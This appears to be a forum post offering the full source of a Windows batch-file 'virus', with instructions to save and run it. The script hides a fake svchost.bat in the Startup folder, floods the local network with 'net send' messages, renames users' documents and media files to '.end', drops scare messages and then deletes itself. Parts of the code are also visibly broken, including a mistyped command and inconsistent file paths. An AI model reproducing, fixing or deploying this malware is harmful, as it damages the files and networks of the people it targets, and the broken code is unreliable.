HAPPY_ENDING.B Virus (New version with some new coding)

i have made some changes in my old Happy Ending virus and created it's B version. Hope U like it.
Copy this code & paste it in Notepad & save it as happy.bat
@echo off
:: Y0UR_(0MPU73R_15_D34D
:: 7H15_15_MY_H4PPY_3ND1N6_/1RU5
:: H0P3_Y0U_L1K3_17
:: (0MPL3M3N75_FR0M
:: NRK89
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" goto d13

echo @echo off > "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo title Gift from NRK89 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo color 04 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"

:: Copies D network blocking file from it's backup and changes it 2 .bat
echo if exist "C:\WINDOWS\AppPatch\cnet.bat" goto 8ln7 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\msagent\cnet.nrk" "C:\WINDOWS\AppPatch\cnet.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo :8ln7 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"

:: Copy the virus strings in different parts of D computer
echo copy "C:\WINDOWS\security\end.nrk" "C:\Documents and Settings\%username%\Desktop\HAPPY_END.exe" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\security\end.nrk" "C:\HAPPY_END.exe" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\security\end.nrk" "C:\Program Files\HAPPY_END.exe" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\security\end.nrk" "C:\Documents and Settings\%username%\Desktop\HACKED_BY_NRK89.exe" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\security\end.nrk" "D:\HAPPY_END.exe" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"

:: Copies D extension changing file from it's backup and changes it 2 .bat
echo if exist "C:\WINDOWS\Config\extn.bat" goto ch3x7 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo copy "C:\WINDOWS\Registration\extn.nrk" "C:\WINDOWS\Config\extn.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo :ch3x7 >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo satrt "C:\WINDOWS\AppPatch\cnet.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo start "C:\WINDOWS\Config\extn.bat" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"

:: Types the last message on the command prompt
echo type "C:\WINDOWS\ehome\msg.nrk" >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo pause >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
echo exit >> "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"

:: This file will flood D network of the user on executed
echo @echo off > "C:\WINDOWS\system32\cnet.nrk"
echo color 04 >> "C:\WINDOWS\system32\cnet.nrk"
echo :hit >> "C:\WINDOWS\system32\cnet.nrk"
echo net send * WORKGROUP ENABLED >> "C:\WINDOWS\msagent\cnet.nrk"
echo net send * WORKGROUP ENABLED >> "C:\WINDOWS\msagent\cnet.nrk"
echo goto hit >> "C:\WINDOWS\msagent\cnet.nrk"

:: This is a harmless virus strings just 2 scare D user
echo X5O!P%@AP[4\PZX54(P^)7CC)7}$ There will be no more HAPPY ENDING in your life from now $H+H* > "C:\WINDOWS\security\end.nrk"

:: This file will change D extensions od all text, doc, image audio and video files 2 .end
echo @echo off > "C:\WINDOWS\Registration\extn.nrk"
echo ren *.txt *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.doc *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.jpg *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.jpeg *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.bmp *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.gif *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.ico *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.mpg *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.mp3 *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.avi *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo ren *.wmv *.end >> "C:\WINDOWS\Registration\extn.nrk"
echo exit >> "C:\WINDOWS\Registration\extn.nrk"

:: D last message that D user will see on D command prompt b4 his computer dies
echo Hi there do U know that your computer has been hacked?? > "C:\WINDOWS\ehome\msg.nrk"
echo Don't worry U will find that out very very soon. >> "C:\WINDOWS\ehome\msg.nrk"
echo My name is NRK89 and I have hacked your computer and placed a virus. >> "C:\WINDOWS\ehome\msg.nrk"
echo It's my favorite Happy Ending virus that will make sure that >> "C:\WINDOWS\ehome\msg.nrk"
echo THERE WILL BE NO MORE HAPPY ENDING IN YOUR LIFE FROM NOW >> "C:\WINDOWS\ehome\msg.nrk"

:: Deletes D actual virus after it's work is done
:d13
del %0

P.S.- Remove all D comments (lines starting with ::) from between D coding so that it runs faster.